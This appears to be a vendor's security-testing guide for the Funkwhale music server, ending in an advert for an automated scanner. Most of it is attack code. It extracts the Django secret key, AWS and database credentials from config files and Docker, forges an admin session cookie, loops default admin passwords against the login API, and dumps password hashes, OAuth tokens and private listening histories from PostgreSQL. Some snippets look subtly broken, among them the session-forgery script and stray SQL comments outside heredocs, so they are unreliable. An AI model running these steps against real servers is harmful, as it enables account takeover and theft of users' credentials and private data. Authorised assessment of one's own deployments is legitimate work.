Funkwhale Security Testing: Default Credentials, API Key, Database, and Music Streaming

Funkwhale is a self-hosted federated music streaming platform built on Django — organizations and communities use it to share and stream private music libraries. Key assessment areas: DJANGO_SECRET_KEY in .env enables Django session cookie forgery for any user account; admin credentials set during initial setup are often weak; PostgreSQL stores all user credentials, complete listening histories, and private playlists; and S3 music file storage credentials expose the entire audio library. This guide covers systematic Funkwhale security assessment.

Table of Contents

  1. DJANGO_SECRET_KEY Extraction and Session Forgery
  2. API Token Enumeration and Music Library Access
  3. PostgreSQL Database and Configuration Extraction
  4. Funkwhale Security Hardening

DJANGO_SECRET_KEY Extraction and Session Forgery

# Funkwhale — DJANGO_SECRET_KEY extraction and session forgery
FW_URL="https://music.example.com"

# .env file — Funkwhale environment configuration
cat /srv/funkwhale/config/.env 2>/dev/null | grep -v "^#" | grep -v "^$" | head -30
# DJANGO_SECRET_KEY=...   <-- Django session/CSRF signing key
# DATABASE_URL=...        <-- PostgreSQL connection string
# AWS_ACCESS_KEY_ID=...   <-- S3 music storage
# AWS_SECRET_ACCESS_KEY=...
# EMAIL_HOST_PASSWORD=... <-- SMTP password
# REDIS_URL=...           <-- Redis connection

# Docker environment
docker inspect funkwhale_api 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET_KEY','DATABASE','AWS','EMAIL_HOST_PASS','REDIS']):
            print(e)
" 2>/dev/null

# DJANGO_SECRET_KEY — used to sign session cookies and CSRF tokens
# With this key, forge a Django session cookie for the admin user
DJANGO_SECRET_KEY="extracted-secret-key"
python3 -c "
import django
import os
os.environ['DJANGO_SETTINGS_MODULE'] = 'config.settings.common'
# Simpler approach: use django.core.signing directly
from django.core.signing import TimestampSigner
signer = TimestampSigner(key='${DJANGO_SECRET_KEY}')
# Generate a session value for admin user (user_id=1)
import json, base64
session_data = {'_auth_user_id': '1', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend'}
encoded = base64.b64encode(json.dumps(session_data).encode()).decode()
print(f'Session data: {encoded}')
print(f'Signed: {signer.sign(encoded)}')
" 2>/dev/null

API Token Enumeration and Music Library Access

# Funkwhale API token enumeration and music library access
FW_URL="https://music.example.com"

# Get API token via login (test common credentials)
for CRED in "admin:password" "admin:funkwhale" "admin:changeme"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  TOKEN=$(curl -s -X POST "${FW_URL}/api/v1/token/" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('token','FAILED'))" 2>/dev/null)
  echo "${USER}/${PASS}: $TOKEN"
  [ "$TOKEN" != "FAILED" ] && echo "  SUCCESS!"
done

# With admin token — list all users
ADMIN_TOKEN="your-api-token"
curl -s "${FW_URL}/api/v1/users/" \
  -H "Authorization: Token ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total users: {d.get(\"count\")}')
for u in d.get('results',[])[:10]:
    print(f'  [{u.get(\"id\")}] @{u.get(\"username\")} admin={u.get(\"is_superuser\")}')
    print(f'    email={u.get(\"email\")}')
" 2>/dev/null

# List all tracks (music library)
curl -s "${FW_URL}/api/v1/tracks/?page_size=10" \
  -H "Authorization: Token ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total tracks: {d.get(\"count\")}')
for t in d.get('results',[])[:5]:
    print(f'  {t.get(\"title\")} - {t.get(\"artist\",{}).get(\"name\")}')
    print(f'    listen_url: {t.get(\"listen_url\")}')
" 2>/dev/null

# ActivityPub — user enumeration (unauthenticated)
FW_DOMAIN="music.example.com"
curl -s -H "Accept: application/activity+json" \
  "${FW_URL}/federation/actors/admin" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Actor: {d.get(\"preferredUsername\")}')
    print(f'Inbox: {d.get(\"inbox\")}')
    print(f'Following: {d.get(\"following\")}')
except: pass
" 2>/dev/null

PostgreSQL Database and Configuration Extraction

# Funkwhale PostgreSQL database extraction

# DATABASE_URL from .env: postgresql://funkwhale:PASSWORD@localhost:5432/funkwhale
psql "$(grep DATABASE_URL /srv/funkwhale/config/.env 2>/dev/null | cut -d= -f2-)" 2>/dev/null << 'EOF'
-- All user accounts with credentials
SELECT au.id,
       au.username,
       au.email,
       au.password,          -- Django pbkdf2_sha256 hash
       au.is_superuser,
       au.is_staff,
       au.date_joined
FROM auth_user au
ORDER BY au.is_superuser DESC, au.date_joined
LIMIT 20;
EOF

-- Listening history (privacy-sensitive)
psql "$(grep DATABASE_URL /srv/funkwhale/config/.env 2>/dev/null | cut -d= -f2-)" 2>/dev/null << 'EOF'
SELECT ul.created,
       au.username as listener,
       t.title as track,
       art.name as artist
FROM history_listening ul
JOIN auth_user au ON ul.user_id = au.id
JOIN music_track t ON ul.track_id = t.id
LEFT JOIN music_artist art ON t.artist_id = art.id
ORDER BY ul.created DESC
LIMIT 20;
EOF

-- All OAuth application tokens
psql "$(grep DATABASE_URL /srv/funkwhale/config/.env 2>/dev/null | cut -d= -f2-)" 2>/dev/null << 'EOF'
SELECT at.token,
       at.scope,
       at.expires,
       au.username,
       au.email
FROM oauth2_provider_accesstoken at
JOIN auth_user au ON at.user_id = au.id
WHERE at.expires > NOW()
ORDER BY at.created DESC
LIMIT 10;
EOF

Funkwhale Security Hardening

Funkwhale Security Hardening Checklist:
Security TestMethodRisk
DJANGO_SECRET_KEY extraction and session cookie forgeryRead .env DJANGO_SECRET_KEY — forge Django session cookies for any user including superusers; bypass CSRF protection; generate valid password reset tokens without emailCritical
Admin credential brute-force (admin/password, admin/funkwhale)POST /api/v1/token/ with common credentials — admin API token; full user management, music library access, and system configurationHigh
PostgreSQL auth_user credential extractionSELECT password FROM auth_user — all Django PBKDF2-SHA256 password hashes and email addresses; listening history via history_listening tableHigh
S3 music file credential extractionRead .env AWS_SECRET_ACCESS_KEY — full access to music storage bucket; download all uploaded audio files; may include copyrighted contentHigh
ActivityPub user enumeration (unauthenticated)GET /federation/actors/{username} — user existence and profile data; library sharing links; no authentication required for public federation endpointsMedium

Automate Funkwhale Security Testing

Ironimo tests Funkwhale deployments for .env DJANGO_SECRET_KEY extraction and session cookie forgery, admin credential testing (admin/funkwhale, admin/password), PostgreSQL auth_user PBKDF2 hash extraction, listening history privacy assessment, OAuth2 access token enumeration, S3 AWS_SECRET_ACCESS_KEY music file access, ActivityPub user enumeration without authentication, DATABASE_URL connection string extraction, EMAIL_HOST_PASSWORD SMTP credential disclosure, and Docker environment variable secret exposure.

Start free scan